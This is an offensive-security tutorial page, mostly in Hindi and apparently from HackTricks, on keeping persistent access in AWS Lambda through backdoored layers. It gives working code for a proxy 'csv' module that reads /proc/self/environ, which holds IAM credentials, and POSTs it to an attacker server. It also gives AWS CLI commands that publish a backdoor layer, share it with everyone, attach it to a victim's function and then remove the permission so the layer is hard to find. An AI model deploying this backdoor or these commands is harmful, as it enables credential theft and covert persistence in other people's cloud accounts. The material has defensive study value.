AWS - Lambda Layers Persistence

Support HackTricks

Lambda Layers

एक Lambda लेयर एक .zip फ़ाइल संग्रह है जो अतिरिक्त कोड या अन्य सामग्री शामिल कर सकता है। एक लेयर में पुस्तकालय, एक कस्टम रनटाइम, डेटा, या कॉन्फ़िगरेशन फ़ाइलें हो सकती हैं।

आप प्रत्येक फ़ंक्शन के लिए पांच लेयर तक शामिल कर सकते हैं। जब आप किसी फ़ंक्शन में एक लेयर शामिल करते हैं, तो सामग्री को /opt निर्देशिका में निष्पादन वातावरण में निकाला जाता है।

डिफ़ॉल्ट रूप से, जो लेयर आप बनाते हैं वे आपके AWS खाते के लिए निजी होती हैं। आप एक लेयर को अन्य खातों के साथ साझा करने या लेयर को सार्वजनिक बनाने का विकल्प चुन सकते हैं। यदि आपके फ़ंक्शन किसी अन्य खाते द्वारा प्रकाशित की गई लेयर का उपयोग करते हैं, तो आपके फ़ंक्शन लेयर संस्करण का उपयोग जारी रख सकते हैं, भले ही इसे हटा दिया गया हो, या आपके लेयर तक पहुँचने की अनुमति को रद्द कर दिया गया हो। हालाँकि, आप एक नई फ़ंक्शन नहीं बना सकते या हटाई गई लेयर संस्करण का उपयोग करके फ़ंक्शंस को अपडेट नहीं कर सकते।

कंटेनर इमेज के रूप में तैनात फ़ंक्शन लेयर का उपयोग नहीं करते हैं। इसके बजाय, आप इमेज बनाने के समय अपने पसंदीदा रनटाइम, पुस्तकालयों और अन्य निर्भरताओं को कंटेनर इमेज में पैक करते हैं।

Python load path

Python द्वारा Lambda में उपयोग किया जाने वाला लोड पथ निम्नलिखित है:

['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages']

Check how the second and third positions are occupy by directories where lambda layers uncompress their files: /opt/python/lib/python3.9/site-packages and /opt/python

यदि एक हमलावर ने एक उपयोग किए गए lambda layer में backdoor डालने में सफलता प्राप्त की या एक ऐसा जोड़ने में जो एक सामान्य पुस्तकालय लोड होने पर मनमाना कोड निष्पादित करेगा, तो वह प्रत्येक lambda कॉल के साथ दुर्भावनापूर्ण कोड निष्पादित करने में सक्षम होगा।

इसलिए, आवश्यकताएँ हैं:

  • जांचें पुस्तकालय जो पीड़ितों के कोड द्वारा लोड किए गए हैं

  • एक प्रॉक्सी पुस्तकालय बनाएं जो lambda layers के साथ कस्टम कोड निष्पादित करेगा और मूल पुस्तकालय को लोड करेगा

प्रीलोडेड पुस्तकालय

जब इस तकनीक का दुरुपयोग करते समय मैंने एक कठिनाई पाई: कुछ पुस्तकालय पहले से ही लोड होते हैं जब आपका कोड निष्पादित होता है। मैं os या sys जैसी चीजें खोजने की उम्मीद कर रहा था, लेकिन यहां तक कि json पुस्तकालय भी लोड हो चुका था। इस स्थायी तकनीक का दुरुपयोग करने के लिए, कोड को एक नया पुस्तकालय लोड करना होगा जो लोड नहीं होता जब कोड निष्पादित होता है।

इस तरह के python कोड के साथ यह संभव है कि पुस्तकालयों की सूची प्राप्त करें जो प्रीलोडेड हैं python runtime के अंदर lambda में:

import sys

def lambda_handler(event, context):
return {
'statusCode': 200,
'body': str(sys.modules.keys())
}

और यह सूची है (जांचें कि os या json जैसी पुस्तकालय पहले से मौजूद हैं)

'sys', 'builtins', '_frozen_importlib', '_imp', '_thread', '_warnings', '_weakref', '_io', 'marshal', 'posix', '_frozen_importlib_external', 'time', 'zipimport', '_codecs', 'codecs', 'encodings.aliases', 'encodings', 'encodings.utf_8', '_signal', 'encodings.latin_1', '_abc', 'abc', 'io', '__main__', '_stat', 'stat', '_collections_abc', 'genericpath', 'posixpath', 'os.path', 'os', '_sitebuiltins', 'pwd', '_locale', '_bootlocale', 'site', 'types', 'enum', '_sre', 'sre_constants', 'sre_parse', 'sre_compile', '_heapq', 'heapq', 'itertools', 'keyword', '_operator', 'operator', 'reprlib', '_collections', 'collections', '_functools', 'functools', 'copyreg', 're', '_json', 'json.scanner', 'json.decoder', 'json.encoder', 'json', 'token', 'tokenize', 'linecache', 'traceback', 'warnings', '_weakrefset', 'weakref', 'collections.abc', '_string', 'string', 'threading', 'atexit', 'logging', 'awslambdaric', 'importlib._bootstrap', 'importlib._bootstrap_external', 'importlib', 'awslambdaric.lambda_context', 'http', 'email', 'email.errors', 'binascii', 'email.quoprimime', '_struct', 'struct', 'base64', 'email.base64mime', 'quopri', 'email.encoders', 'email.charset', 'email.header', 'math', '_bisect', 'bisect', '_random', '_sha512', 'random', '_socket', 'select', 'selectors', 'errno', 'array', 'socket', '_datetime', 'datetime', 'urllib', 'urllib.parse', 'locale', 'calendar', 'email._parseaddr', 'email.utils', 'email._policybase', 'email.feedparser', 'email.parser', 'uu', 'email._encoded_words', 'email.iterators', 'email.message', '_ssl', 'ssl', 'http.client', 'runtime_client', 'numbers', '_decimal', 'decimal', '__future__', 'simplejson.errors', 'simplejson.raw_json', 'simplejson.compat', 'simplejson._speedups', 'simplejson.scanner', 'simplejson.decoder', 'simplejson.encoder', 'simplejson', 'awslambdaric.lambda_runtime_exception', 'awslambdaric.lambda_runtime_marshaller', 'awslambdaric.lambda_runtime_client', 'awslambdaric.bootstrap', 'awslambdaric.__main__', 'lambda_function'

और यह लाइब्रेरीज़ की सूची है जो लैम्ब्डा डिफ़ॉल्ट रूप से शामिल करता है: https://gist.github.com/gene1wood/4a052f39490fae00e0c3

लैम्ब्डा लेयर बैकडोरिंग

इस उदाहरण में मान लीजिए कि लक्षित कोड csv आयात कर रहा है। हम csv लाइब्रेरी के आयात में बैकडोरिंग करने जा रहे हैं।

इसके लिए, हम csv नाम का डायरेक्टरी बनाएंगे जिसमें __init__.py फ़ाइल होगी, एक पथ में जो लैम्ब्डा द्वारा लोड किया जाता है: /opt/python/lib/python3.9/site-packages फिर, जब लैम्ब्डा निष्पादित होता है और csv लोड करने की कोशिश करता है, तो हमारी __init__.py फ़ाइल लोड और निष्पादित होगी। इस फ़ाइल को यह करना चाहिए:

  • हमारे पेलोड को निष्पादित करें

  • मूल csv लाइब्रेरी को लोड करें

हम दोनों को कर सकते हैं:

import sys
from urllib import request

with open("/proc/self/environ", "rb") as file:
url= "https://attacker13123344.com/" #Change this to your server
req = request.Request(url, data=file.read(), method="POST")
response = request.urlopen(req)

# Remove backdoor directory from path to load original library
del_path_dir = "/".join(__file__.split("/")[:-2])
sys.path.remove(del_path_dir)

# Remove backdoored loaded library from sys.modules
del sys.modules[__file__.split("/")[-2]]

# Load original library
import csv as _csv

sys.modules["csv"] = _csv

फिर, इस कोड के साथ एक ज़िप बनाएं जो पथ python/lib/python3.9/site-packages/__init__.py में हो और इसे एक लैम्ब्डा लेयर के रूप में जोड़ें।

आप इस कोड को https://github.com/carlospolop/LambdaLayerBackdoor पर पा सकते हैं।

एकीकृत पेलोड IAM क्रेडेंशियल्स को एक सर्वर पर भेजेगा जब इसे पहली बार बुलाया जाएगा या लैम्ब्डा कंटेनर के रीसेट के बाद (कोड में परिवर्तन या ठंडी लैम्ब्डा), लेकिन अन्य तकनीकें जैसे कि निम्नलिखित भी एकीकृत की जा सकती हैं:

बाहरी लेयर्स

ध्यान दें कि बाहरी खातों से लैम्ब्डा लेयर्स का उपयोग करना संभव है। इसके अलावा, एक लैम्ब्डा एक बाहरी खाते से एक लेयर का उपयोग कर सकता है भले ही उसके पास अनुमतियाँ न हों। यह भी ध्यान दें कि एक लैम्ब्डा के पास अधिकतम 5 लेयर्स हो सकती हैं

इसलिए, इस तकनीक की बहुपरकारीता को बढ़ाने के लिए एक हमलावर कर सकता है:

  • उपयोगकर्ता की एक मौजूदा लेयर में बैकडोर डालें (कुछ भी बाहरी नहीं है)

  • अपने खाते में एक लेयर बनाएं, पीड़ित खाते को लेयर का उपयोग करने के लिए अनुमति दें, पीड़ित के लैम्ब्डा में लेयर को कॉन्फ़िगर करें और अनुमति हटा दें

  • लैम्ब्डा अभी भी लेयर का उपयोग करने में सक्षम होगा और पीड़ित के पास लेयर्स कोड डाउनलोड करने का कोई आसान तरीका नहीं होगा (लैम्ब्डा के अंदर एक रिव शेल प्राप्त करने के अलावा)

  • पीड़ित aws lambda list-layers के साथ उपयोग की गई बाहरी लेयर्स नहीं देखेगा।

# Upload backdoor layer
aws lambda publish-layer-version --layer-name "ExternalBackdoor" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"

# Give everyone access to the lambda layer
## Put the account number in --principal to give access only to an account
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion

## Add layer to victims Lambda

# Remove permissions
aws lambda remove-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1
HackTricks का समर्थन करें

Last updated